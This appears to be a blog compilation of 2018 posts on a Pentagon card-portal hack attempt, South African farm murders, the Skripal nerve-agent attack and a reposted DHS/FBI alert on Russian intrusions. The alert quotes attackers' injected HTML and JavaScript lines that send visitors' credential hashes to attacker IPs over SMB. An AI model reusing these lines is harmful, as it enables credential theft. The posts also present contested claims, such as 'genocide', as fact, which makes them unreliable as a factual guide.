Citigroup Pentagon Payment Portal 1.3 Million Weekend Hack Attempts

By: Denise Simon | Founders Code

There are 47 pages of regulations for Department of Defense personnel using Citigroup credit cards while traveling.

Pentagon confirms hack attempt against Defense Department credit card holders

  • The Pentagon on Thursday confirmed that there was a hacking attempt against an online financial services portal that Citigroup manages for the Defense Department.
  • Citigroup had told CNBC that a “malicious actor” attempted to gain access to several Citi credit card accounts tied to the Department of Defense.
  • The attack, which included 1.3 million attempts, occurred over this past weekend.

The Pentagon on Thursday confirmed that there was a hacking attempt this past weekend against an online financial services portal that Citigroup manages for Defense Department credit card holders.

The confirmation comes a day after Citigroup told CNBC that a “malicious actor” attempted to gain access to information for Pentagon-linked credit card accounts.

The bank had responded to CNBC’s inquiry regarding an attempted hack this past weekend. The Pentagon, citing information from Citigroup, confirmed to CNBC on Thursday that there was an attack over the weekend of March 10.

The bank told the Defense Department that the attack came from a computer system that was randomly guessing cardholder account usernames and passwords.

The program hit Citigroup’s Pentagon online account application more than 1.3 million times. The hackers did successfully guess 318 Pentagon cardholders’ usernames and passwords, but they did not get past a secondary layer of account authentication.

“No data compromise occurred,” Citi told the Pentagon.

Citi provides financial services for the Government Travel Charge Card, or GTCC, which is used by Department of Defense personnel to pay for authorized expenses when on official travel.

CitiManager is the online portal used by the Defense Department to view statements online, make payments and confirm account balances.

The Pentagon’s Defense Travel Management Office oversees the processing of the GTCC.

*** Back in 2016, there was a hacker contest held by the Pentagon under Secretary Ash Carter….guess they missed that payment portal vulnerability possibility.

When the Pentagon announced the “Hack the Pentagon” event back in March, many wondered what kinds of vulnerabilities hackers would find when checking government websites for bugs. Now we know.

According to Defense Secretary Ash Carter, more than 250 participants out of the 1,400 submitted at least one vulnerability report, with 138 of those vulnerabilities determined to be “legitimate, unique and eligible for a bounty,” he said. The bounties ranged per person from $100 to around $15,000 if someone submitted multiple bugs.

The pilot program, which ran from April 18 to May 12, cost about $150,000, with around half of that going to participants. The results were released on Friday, according to the Department of Defense’s website.

“Hack the Pentagon” was deemed a cost-effective way to scour five of the US defense departments’ websites (defense.gov, dodlive.mil, dvidshub.net, myafn.net and dimoc.mil, according to a DoD spokesman) for security bugs. Instead of going to outside security firms, which would’ve cost upwards of $1 million, the government instead recruited amateur hackers to do it for much less, some who were only in high school.

In addition to reporting on the number of bugs, Carter also said that the government has worked with HackerOne, a bug bounty platform, to fix the vulnerabilities and that the department has “built stronger bridges to innovative citizens who want to make a difference to our defense mission.” Carter wants the “bug bounty” program to extend to other areas of the government and wants to ensure that hackers and researchers can report bugs without a dedicated program.

“When it comes to information and technology, the defense establishment usually relies on closed systems,” he said. “But the more friendly eyes we have on some of our systems and websites, the more gaps we can find, the more vulnerabilities we can fix, and the greater security we can provide to our warfighters.”

Many websites already have bug bounty programs in place, but it was the first time the federal government had come up with such a program. It’s good experience for young hackers and security fiends who want to try and hack a government agency, although that’s a small amount of money for their time.


Genocide of White Farmers in S. Africa

By: Denise Simon | Founders Code

A White Farmer Is Killed Every Five Days in South Africa and Authorities Do Nothing about It, Activists Say

Activists say South African authorities are tacitly approving attacks on the country’s white farmers, with one being murdered every five days, and the police turning a blind eye to the violence.

The white nationalist lobbying group AfriForum says that when lawmakers passed a motion last month which could see land being seized from farmers without compensation, it sent a message that landowners could be attacked with impunity.

It said there have been 109 recorded attacks so far in 2018 and 15 farm murders, meaning that this year, one white farmer has been killed every five days.

In a statement, Ian Cameron, AfriForum’s Head of Safety said: “Our rural areas are trapped in a crime war. Although the South African government denies that a violence crisis is staring rural areas in the face, the numbers prove that excessive violence plague these areas.”

Gabriel Stols, 35, told the Independent how his younger brother Kyle, 21, was shot dead by four people on a game reserve near Bloemfontein.

“What is happening to us is torture, it is slaughter, it is brutal, it is revenge. The world doesn’t know what is happening in South Africa,” he said.

Hannetjie Ludik, 56, from Pretoria, told the paper that three armed men broke into her family’s house, stole money and raped her.

South Africa’s president Cyril Ramaphosa said the government did not condone attacks or the the seizure of white-owned farms and insisted there would be no repeat of what happened in Zimbabwe a generation ago.

But AfriForum says that the parliament’s bill has led to a culture of revenge among those spoiling for a redistribution of land in a country where some 80% of people describe themselves as black African, but only 1.2% of that community own the country’s rural land.

Julius Malema, the head of South Africa’s ultra-left Economic Freedom Fighters party (EFF), has called for land to be taken off white farmers. REUTERS/Siphiwe Sibeko

The policy was proposed by the leader of the Economic Freedom Fighters (EFF), Julius Malema who says redistributing land can correct historical injustices.

While there is broader political support for the move, a more measured approach is being called for by Kenneth Meshoe, the head of the African Christian Democratic Party, who told The Independent he believes in land distribution, although he says it should not be taken without compensation

“People like Malema who are promoting hate speech should not be allowed,” he added.

Thousands of people have signed a petition asking Donald Trump to let white people in South Africa to migrate to the U.S.

Meanwhile, Australian Home Affairs Minister, Peter Dutton, said he would push for his country to grant visas to white farmers, should they be displaced.

He provocatively said that such people could be helped from “a civilized country like ours”, sparking anger from South Africa’s Foreign Ministry which called for a retraction.

The fact-checking website, Africa Check, concluded in May 2017 that getting an accurate statistic on the country’s farm murder rate, which it estimated at 0.4 murders per 100,000 people, was “near impossible”.

Gareth Newham from South Africa’s Institute for Security Studies, told the Guardian there was no evidence white farmers were targeted any more than anyone else.

*** The world is silent on this….question is why?

In 2017:

The couple, who had lived in the area for 20 years, were tied up, stabbed, and tortured with a blowtorch for several hours. The masked men stuffed a plastic bag down Mrs Howarth’s throat, and attempted to strangle her husband with a bag around his neck.

The couple were bundled into their own truck, still in their pyjamas, and driven to a roadside where they were shot. Mrs Howarth, 64, a former pharmaceutical company executive, was shot twice in the head. Mr Lynn, 66, was shot in the neck.

Miraculously he survived, and managed to flag down a passer-by early on Sunday morning. Mrs Howarth, who police said was “unrecognisable” from her injuries, had multiple skull fractures, gunshot wounds and “horrific” burns to her breasts.

“Sue was discovered amongst some trees, lying in a ditch,” writes Jana Boshoff, reporter for the local Middelburg Observer newspaper. “Her rescuers managed to find her by following her groans of pain and then noticing drag marks from the road into the field.

In any other country, such a crime would be almost unthinkable. But in South Africa, these kinds of farm attacks are happening nearly every day. This year so far, there have been more than 70 attacks and around 25 murders in similar attacks on white farmers.

Earlier this month, for example, 64-year-old Nicci Simpson was tortured with a power drill during an attack involving three men at her home on a farm in the Vaal area, about two hours drive from Johannesburg.

When paramedics arrived, they found three dead dogs, and the woman lying in a pool of blood, spokesman Russel Meiring told News24. “They used a drill to torture her,” police spokesman Lungelo Dlamini said.

Read more here.


Cold War Redux: Russia To Expel UK Diplomats Over Nerve Agent Confrontation

By: Terresa Monroe-Hamilton

As I predicted yesterday, the Kremlin is getting ready to officially expel Britain’s diplomats over the nerve agent confrontation. This is in retaliation for Prime Minister Theresa May’s decision to kick out 23 Russians as relations with London crashed to a post-Cold War low over an attack involving a military-grade nerve agent on English soil.

This was the logical next step in the confrontation. It was the first known such use of a nerve agent since World War II. It sickened a former Russian spy and his daughter, who were found unconscious on a bench. It sickened 21 other British citizens. There is no cure and the agent was designed to cause maximum pain. If you don’t die from exposure, you progressively are more and more crippled until your life ends. It is torture by poison. If Russia is allowed to get away with this, there will be nothing stopping them from using it whenever and wherever they choose to.

US Ambassador to the United Nations Nikki Haley said Wednesday the Trump administration “stands in absolute solidarity with Great Britain” following a nerve agent attack against a Russian double agent and his daughter in the English city of Salisbury last week. Haley said Washington shared the UK’s assessment that the Russian state was behind the poisoning and demanded a firm international response. “The United States believes that Russia is responsible for the attack on two people in the United Kingdom using a military-grade nerve agent,” Haley said in her remarks at a UN Security Council emergency session, blasting the Russian government for flouting international law. “If we don’t take immediate concrete measures to address this now, Salisbury will not be the last place we see chemical weapons used,” said Haley. “They could be used here in New York or in cities of any country that sits on this council.”

The Russians went so far as to make fun of the British for this and to call them liars. They even accused the Brits of being behind the attack themselves. The nerve agent Novichok was created in Russia by their military and is specific to the Russians. I think we all know who the liars and terrorists are here and it sure as hell isn’t the Brits. Theresa May pointed the finger squarely at President Vladimir Putin and gave the 23 Russians who she said were spies working under diplomatic cover at the London embassy a week to leave. Now, after denying all involvement, Russia is returning the favor. They cast Britain as a post-colonial power unsettled by Brexit and even suggested London fabricated the attack in an attempt to whip up anti-Russian hysteria.

Asked by a Reuters reporter in the Kazakh capital Astana if Russia planned to expel British diplomats from Moscow, Russian Foreign Minister Sergei Lavrov smiled and said: “We will, of course.” Kremlin spokesman Dmitry Peskov said Russia could announce its response at any minute. And the march towards war continues. Britain, the United States, Germany, Poland, Australia and France have all called on Russia to explain themselves. Russia has collectively flipped all of them off and told them to pound sand. They arrogantly posture themselves and tell these nations to not dare threaten a nuclear power such as Russia.

Not only has President Trump implemented sanctions against 19 Russians for meddling in the 2016 elections here in the US, the administration issued a security alert detailing Russia’s orchestrated attempts to hack into our energy grid via government-employed hackers. The technical alert, a result of analyses by the Department of Homeland Security and the FBI, concluded that the Russian government conducted a “multi-stage intrusion campaign” targeting: “U.S. Government entities as well as organizations in the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.” These are blatant acts of cyber warfare.

A German government spokesman called the nerve agent attack in Britain “an immense, appalling event.” Chancellor Angela Merkel said an EU summit next week would discuss the issue. She added that any boycott of the soccer World Cup, which Russia will host in June and July, was not an immediate priority. However, Britain is already boycotting it.

In a twist today and an attempt to look innocent, the Russians say they have opened a criminal investigation into the attempted murder of Yulia Skripal and stand ready to cooperate with British authorities. Color me highly skeptical and I doubt the Brits will fall for this subterfuge. They also opened a murder investigation into the death of Nikolai Glushkov, a former associate of the late tycoon Boris Berezovsky. Glushkov, 68, was discovered dead on Monday in south-west London. British police said they were treating Glushkov’s death as unexplained, but did not think it was linked to the attack on the Skripals. He was strangled and I absolutely think it is connected.

Skripal, a former colonel in the GRU who betrayed dozens of Russian agents to British intelligence, and his daughter have been critically ill since March 4, when they were found unconscious on a bench. When a police officer went to help them, he was poisoned as well and is in serious, but stable condition. What they don’t tell you is you never recover from the exposure.

British Foreign Secretary Boris Johnson said Britain’s quarrel was not with the Russian people but with the Kremlin. “We have nothing against the Russians themselves. There is to be no Russophobia as a result of what is happening,” he said. “Our quarrel is with Putin’s Kremlin, and with his decision – and we think it overwhelmingly likely that it was his decision – to direct the use of a nerve agent on the streets of the UK.” The Kremlin’s Peskov called the allegation that Putin was involved “a shocking and unforgivable breach of the diplomatic rules of decent behavior,” TASS news agency reported. Perhaps Johnson should be careful what he eats etc. He just drew a huge target on his own back here.

British Defence Secretary Gavin Williamson sparked particular outrage in Moscow with his blunt comment on Thursday that “Russia should go away, it should shut up.” Russia’s Defence Ministry proceeded to say he was an “intellectual impotent” and Lavrov said he probably lacked education. “Well he’s a nice man, I’m told, maybe he wants to claim a place in history by making some bold statements,” Lavrov said. “Maybe he lacks education, I don’t know.”

In London, opposition Labour Party leader Jeremy Corbyn struck a starkly different tone to that of the British government by warning against rushing into a new Cold War before full evidence of Moscow’s culpability was proven. The Labour Party are socialists – read communist-lite. Corbyn added that Labour did not support Putin and that Russia should be held to account if it was behind the attack. “That does not mean we should resign ourselves to a ‘new Cold War’ of escalating arms spending, proxy conflicts across the globe and a McCarthyite intolerance of dissent,” he said. Words are cheap and they always throw the McCarthy card when upset. McCarthy was not wrong – his approach was faulty and he didn’t finish the job of exposing communists in the US. That’s not intolerance, it’s survival. And it’s not a ‘new’ Cold War. It’s a war that never went away and that is shifting, you moron.

Nikkii Haley laid the blame firmly at Russia’s door. Highlighting Moscow’s support of the Assad regime in Syria following that government’s use of chemical weapons against civilians, Haley told fellow diplomats the world had reached “a defining moment.” “Time and time again, members states say they oppose the use of chemical weapons under any circumstance,” said Haley. “Now one member stands accused of using chemical weapons on the sovereign soil of another member. The credibility of this council will not survive if we fail to hold Russia accountable.” And she is right. We are at a tipping point and there will be no turning back.

The White House backed up Haley’s comments at the UN, saying it shared the British assessment of Russia’s culpability in the Salisbury attack. “The United States stands in solidarity with its closest ally, the United Kingdom,” the statement read. “This latest action by Russia fits into a pattern of behavior in which Russia disregards the international rules-based order, undermines the sovereignty and security of countries worldwide, and attempts to subvert and discredit Western democratic institutions and processes.” Russia just crossed a line and it’s now our move. Let’s hope it’s a good and forceful one.


CERT/FBI Declaration of Russia Hacking U.S. Infrastructure

By: Denise Simon | Founders Code

US sanctions Russia for election interference, cyberattacks

The US government takes action against Russia for misdeeds including what it’s calling the “most destructive cyberattack in history.”

CNet: The White House has announced an array of sanctions against Russia for meddling in US elections and for broader hacking efforts, including one incident it called “most destructive and costly cyberattack in history.”

The US government unveiled the sanctions Thursday morning, saying they were prompted by Russia’s online propaganda campaign during the US elections, massive hacks of Yahoo and attempted cyberattacks against electrical grids in the US.

The government singled out Russia’s role in the NotPetya attack, a piece of malware that was disguised as ransomware but actually designed to destroy data. Last month, the Trump Administration attributed the attack to Russia, saying it caused billions of dollars in damage in Europe, Asia and the Americas.

“These targeted sanctions are a part of a broader effort to address the ongoing nefarious attacks emanating from Russia,” Treasury Secretary Steven Mnuchin said in a statement. The sanctions, he said, will “hold Russian government officials and oligarchs accountable for their destabilizing activities by severing their access to the US financial system.”

The sanctions come after an investigation by the Department of Homeland Security and the FBI.

The sanctions fall on 19 individuals and five Russian entities, including the Internet Research Agency, a trolling farm designed to meddle in the 2016 presidential election through divisive posts on social media. They also target Russia’s intelligence agency, known as the Federal Security Service or FSB, and the country’s military intelligence organization, the GRU.

The Russian embassy didn’t respond to a request for comment.

‘A long-overdue step’

On Capitol Hill, the sanctions fed into a continuing controversy over Russian meddling in American democratic processes.

“This is a welcome, if long-overdue, step by the Trump administration to punish Russia for interfering with the 2016 election,” Sen. Mark Warner, a Democrat from Virginia, said in a statement.

Still, the vice chairman of the Senate intelligence committee criticized the sanctions because they “do not go far enough,” pointing out that many of the named entities were either already sanctioned under the Obama administration or have been charged by the Justice Department.

“With the midterm elections fast approaching,” he said, “the Administration needs to step it up, if we have any hope of deterring Russian meddling in 2018.”

Senior national security officials said the FSB was directly involved in hacking millions of Yahoo accounts, while the GRU was behind the interference in the 2016 presidential election and the NotPetya cyberattack.

The sanctions fall under the Countering America’s Adversaries Through Sanctions Act, which authorizes pushback against “aggression by the governments of Iran, the Russian Federation and North Korea.”

Investigators found evidence of Russian attempts to hack into the US electric grid through spear-phishing tactics, senior national security officials said. The attacks have been going on since March 2016, targeting multiple US government offices, as well as energy, water, nuclear and critical manufacturing companies.

The DHS and the FBI provided details in a technical alert released Thursday, calling the actions a “multistage intrusion” through which Russian hackers were able to gain remote access into energy sector networks.

Systems Affected

  • Domain Controllers
  • File Servers
  • Email Servers


This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides information on Russian government actions targeting U.S. Government entities as well as organizations in the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors. It also contains indicators of compromise (IOCs) and technical details on the tactics, techniques, and procedures (TTPs) used by Russian government cyber actors on compromised victim networks. DHS and FBI produced this alert to educate network defenders to enhance their ability to identify and reduce exposure to malicious activity.

DHS and FBI characterize this activity as a multi-stage intrusion campaign by Russian government cyber actors who targeted small commercial facilities’ networks where they staged malware, conducted spear phishing, and gained remote access into energy sector networks. After obtaining access, the Russian government cyber actors conducted network reconnaissance, moved laterally, and collected information pertaining to Industrial Control Systems (ICS).

For a downloadable copy of IOC packages and associated files, see:

Contact DHS or law enforcement immediately to report an intrusion and to request incident response resources or technical assistance.


Since at least March 2016, Russian government cyber actors—hereafter referred to as “threat actors”—targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.

Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1] (link is external)

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as “staging targets” throughout this alert. The threat actors used the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including:

  • spear-phishing emails (from compromised legitimate account),
  • watering-hole domains,
  • credential gathering,
  • open-source and network reconnaissance,
  • host-based exploitation, and
  • targeting industrial control system (ICS) infrastructure.

Using Cyber Kill Chain for Analysis

DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors’ activities within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]

Use of Watering Hole Domains

One of the threat actors’ primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file “header.php”, a legitimate PHP file that carried out the redirected traffic.

img src=”file[:]//62.8.193[.]206/main_logo.png” style=”height: 1px; width: 1px;”

In another instance, the threat actors modified the JavaScript file, “modernizr.js”, a legitimate JavaScript library used by the website to detect various aspects of the user’s browser. The file was modified to contain the contents below:

var i = document.createElement(“img”);

i.src = “file[:]//184.154.150[.]66/ame_icon.png”;

i.width = 3;


Stage 3: Delivery

When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT & Confidential”) and contained a generic PDF document titled “document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)

In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.

Stage 4: Exploitation

The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.

When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server—either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [1] (link is external)

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.

Establishing Local Accounts

The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in “C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\”.


Theresa May Kicks Out 23 Russian Spies From The UK And Freezes Assets After Nerve Agent Poisoning

By: Terresa Monroe-Hamilton

Things are getting real and fast with Russia. Not only are we still ticked at them for meddling in our elections, which they’ve done for decades, they now are on the verge of going to war with most of the planet. Last week, 21 people in Britain fell ill when a nerve agent was used on a double-agent and his daughter in Britain. People around them also fell ill and hundreds had to wash their clothes. Whole sections of the city are being cordoned off.

A second attack killed another double-agent in Britain a few days ago. Russian exile Nikolai Glushkov was discovered dead with ‘strangulation marks’ on his neck on Monday night by daughter Natalia Glushkova in New Malden, South West London. There is no cure for the nerve agent used on the first victims and it is specific to the Russian government. It was designed to be as painful as possible and to gradually cripple its victims that don’t die immediately from coming into contact with it.

British Prime Minister Theresa May announced Wednesday the expulsion of 23 Russian diplomats (read spies) from the United Kingdom following the suspicious nerve agent attack on a former Russian spy and his daughter — the largest such expulsion since the Cold War. Not only that, Russia’s assets in the country have been frozen. President Trump is supporting Theresa May in this move. In fact, US Ambassador to the UN, Nikki Haley, had just warned Russia, Iran and Syria this week that we are on the verge of striking Syria again for using chemical weapons against their own people.

When Putin heard all this, he literally smirked. Of course, they denied it and said that Britain would do well not to threaten a nuclear power. They are promising retaliation in kind and beyond, whatever that means. It is said that Britain is considering launching a cyber war against Russia over this and invoking Article 5 at the UN requiring all NATO nations to expel Russian diplomats and spies. That’s just the beginning.

Russia feels emboldened after Obama’s weakness. They have allied with China, Iran and North Korea and war is very close now. It’s something I have warned on for years and now we are here facing off with the New Axis of Evil. The Cold War is about to go red hot. “The British government made a choice for confrontation with Russia,” the Russian foreign ministry said in a statement.

May made the announcement hours after Moscow ignored a midnight deadline to explain how the military-grade nerve agent, which was developed by the former Soviet Union, came to be used against ex-spy Sergei Skirpal and his daughter, Yulia. They were found unconscious on a park bench. “All who have been identified as declared intelligence officers: they have just one week to leave,” May said. “This will be the single biggest expulsion for over 30 years and it will reflect the fact that this is not the first time the Russian state has acted against our country.” And there’s the rub… Russia has been causing trouble all over the planet for a long time. They are so arrogant they figure no one will retaliate. That will only play for so long.

Additionally, May said no British officials or members of the Royal family will attend this summer’s World Cup in Russia. She also announced a range of economic and diplomatic measures, including a decision to cancel all high-level bilateral contacts with Russia. I believe the US will follow suit on this particular move and the tensions will ratchet up immensely.

“[Russia’s response to the deadline] has shown complete disdain for the gravity of these events,” May said, adding the Kremlin has offered “no credible explanation” for how the Russian-made Novichok nerve agent was used in the attack. “This represents an unlawful use of force against the United Kingdom,” she said, noting Russian officials have treated the incident with “sarcasm, contempt and defiance. It must be met with a full and robust response,” May said. Frankly, May is showing far more backbone than I expected here. Good for her.

An invitation for Russian Foreign Minister Sergey Lavrov to visit Britain has been canceled. The US should immediately kick out all Russian diplomats we have not already told to get out. All embassies should be shuttered and accounts frozen as well. May also said Britain would clamp down on murky Russian money and strengthen its powers to impose sanctions on abusers of human rights. “We will freeze Russian state assets wherever we have the evidence that they may be used to threaten the life or property of UK nationals or residents,” May said, without giving details. That’s not strong enough, but it’s a start.

Britain’s media regulator Ofcom said Russian broadcaster RT could lose its UK license if Theresa May’s government determines that Moscow was behind the poisoning of a former Russian double agent in England this month. Since they are a propaganda outlet for Russia, they should lose their license and be kicked out of Britain. RT, or Russia Today, is a round-the-clock news network that is funded by Vladimir Putin’s government and runs eight TV channels including RT UK broadcast from London. Russia said there would be reprisals for any move to close the UK-based Russia Today news channel, a measure that May might ask the broadcasting regulator, Ofcom, to consider as one of her measures. “Not a single British media outlet will work in our country if they close Russia Today,” said Zakharova. So be it.

May said that while many Russians who have made the United Kingdom their home and abide by the laws, “those who seek to do us harm, my message is simple; you are not welcome here.” The Russian ambassador in the UK warned to expect a retaliation for the expulsion of the country’s diplomats. Alexander Vladimirovich Yakovenko told Sky News the United Kingdom’s actions are “unacceptable” and Moscow considers them a “provocation.” “This is a really serious provocation,” he said. Look for Russia to expel British diplomats in retaliation and close their embassy there.

Moscow has refused to comply with Britain’s demands unless the government provided samples of the poison collected by investigators. And even then they are saying it does not matter. They made fun of the Brits over it. Putin spokesman Dmitry Peskov told reporters Wednesday that Russia “rejects the language of ultimatums.” The arrogance is mind-blowing here. I’ve long warned about the Russians and many scoffed at it. Well, now they are beginning to see the Russkies sans their collective mask.

Skripal and his daughter remain in critical condition in a hospital in Salisbury, southwestern England more than a week after they were found collapsed on a bench. Even if they come around, they will never fully recover. For them, the rest of their lives will be a living hell. That could be any of us.

European Council President Donald Tusk said Wednesday the attack was “most likely” inspired by Moscow and announced he would put the issue on the agenda at an EU leaders’ summit next week. They’ll do nothing as usual, but it doesn’t matter. The wheels of war are now in motion. They can either begin to defend themselves or die in the coming confrontation. What Russia did in Britain was nothing less than an act of war.

Theresa May told MPs that two dozen so-called diplomats who are in fact spies will be kicked out in a bid to stop Vladimir Putin meddling in Britain. She’s right… they are. The Russians are great at spying and stealing… it’s what they do. But just as in America, Britain has her own Russian apologists like Jeremy Corbyn who suggested that Russia might NOT be behind the attack and compared the investigation to claims about Saddam Hussein’s WMDs. The Brits have their own enemies from within.

May also announced:

  • New laws to help Britain defend itself from all forms of hostile Russian activity.
  • Flights and goods from Russia will face extra checks to stop ill-gotten gains entering the UK.
  • All planned talks with Russian officials, including a visit from the foreign minister, are canceled.
  • Assets belonging to Putin’s government will be frozen to stop them being used for wrongdoing.
  • Suspected spies could be detained at Britain’s borders like terrorists under new powers.
  • The UK’s allies France, Germany and the US are in full support of her tough stance.

The alliance against the New Axis of Evil is forming with the US, the UK, France and Germany seemingly coming together. May warned Putin that Britain will not stand alone, revealing that Donald Trump, Emmanuel Macron and Angela Merkel have promised to present a united front against Russian atrocities. Overnight, leaders from Poland and Australia added their voices to the chorus of support for Britain, raising the chances of a coordinated global response to Russia’s atrocities. The board is being set for a world war and the lines are now being drawn.


UK’s PM Terresa May Has to Face Russia Over Use of Nerve Agent

By: Denise Simon | Founders Code

British emergency services workers in hazard suits put a tent on Thursday over the bench where Sergei Skripal and his daughter, Yulia, were found. Ben Stanstall / AFP – Getty Images

May says it is very clear that the use of this nerve agent goes against the spirit of the chemical weapons treaty. This is part of a group of nerve agents known as Novichok.

Using nerve agents of this kind is banned under international conventions, developed in secret to get around those treaties and designed to avoid detection. And it is banned in part because of its potency, and the horrible effects that could stem from its use.

Novichok was first developed in the 1970s and 80s by what was then the Soviet Union. The name means “newcomer” in Russian, and indicates the fact that when it was developed it marked a major breakthrough in the power of such chemical weapons.

That new potency meant that it was by some way the most powerful nerve agent in the world, and it continues to be thought one of the most deadly weapons available.

They work like all nerve agents, by overriding neurotransmitters in the body and shutting down the way it normally works. By forcing muscles to contract by attacking the nervous system, important parts of the body start to shut down – soon after someone comes into contact with such a nerve agent, the heart and diaphragm will shut down and death can result either through heart failure or suffocation.

Though it was developed to be as dangerous as possible when used, it was also designed so that it could be relatively easily transported. The nerve agent is made out of different “precursors” – which are relatively safe until they are mixed so that they can be used in a weapon. Novichok became famous in the 90s, when a Soviet scientist called Vil Mirzayanov revealed that the country had secretly developed the powerful nerve gas – which was far more potent than anything in the US. Though the Soviet Union had been developing it for some time, it didn’t become known for as much as a decade after it was actually available, because it had been kept entirely secret. More here.

Russia deployed a military grade nerve agent in a city of 40,000 people. Chemical warfare experts were sent to the scene and hundreds of people may have been poisoned in Britain.

British PM May: “The government has concluded that it is highly likely that Russia was responsible” for nerve agent attack on Russian ex-spy. “There are only two plausible explanations… Either this was a direct act by the Russian state against our country, or the Russian government lost control of its potentially catastrophically damaging nerve agent and allowed it to get into the hands of others.”

British PM May says she’ll give Russia until Wednesday to respond: “Should there be no credible response, we will conclude that this action amounts to an unlawful use of force by the Russian state against the United Kingdom.”

19 others treated after nerve agent attack on Russian ex-spy Sergei Skripal, his daughter

A police sergeant who assisted a former Russian spy and his daughter after a nerve agent attack in Britain is receiving medical treatment, as well as 18 other people who may have been exposed to the poison, police said Thursday.

The attack on Sergei Skripal, 66, and his daughter, Yulia, 33, is being treated as attempted murder, authorities have said. The two remain hospitalized in critical condition after being found unconscious Sunday on a bench near a shopping mall in Salisbury, 90 miles west of London.

Sgt. Nick Bailey, an officer from the Wiltshire police who assisted the two victims, also remained hospitalized on Thursday but appeared to be making progress, said Kier Pritchard, the acting Wiltshire police chief.

“Of course he’s very anxious, very concerned,” Pritchard told reporters.

Some of those who were treated after the nerve agent attack received blood tests, support and hospital advice, Pritchard said. He would not say whether the other victims were other officers, medical workers or bystanders.

At a news conference, Britain’s home secretary, Amber Rudd, described Bailey as “still seriously unwell,” but “engaging and awake and talking to point.”

Police have not offered any specifics about the attack, including the type of nerve agent used or how it was delivered.

Skripal, a former military intelligence officer, was sentenced to 13 years in prison in 2006 after being convicted in Russia of spying for Britain.

He passed the identity of dozens of spies to the United Kingdom’s MI6 foreign intelligence agency, according to news reports. He was freed in 2010 as part of a U.S.-Russian spy swap that also included Anna Chapman, who was arrested in New York earlier that year.

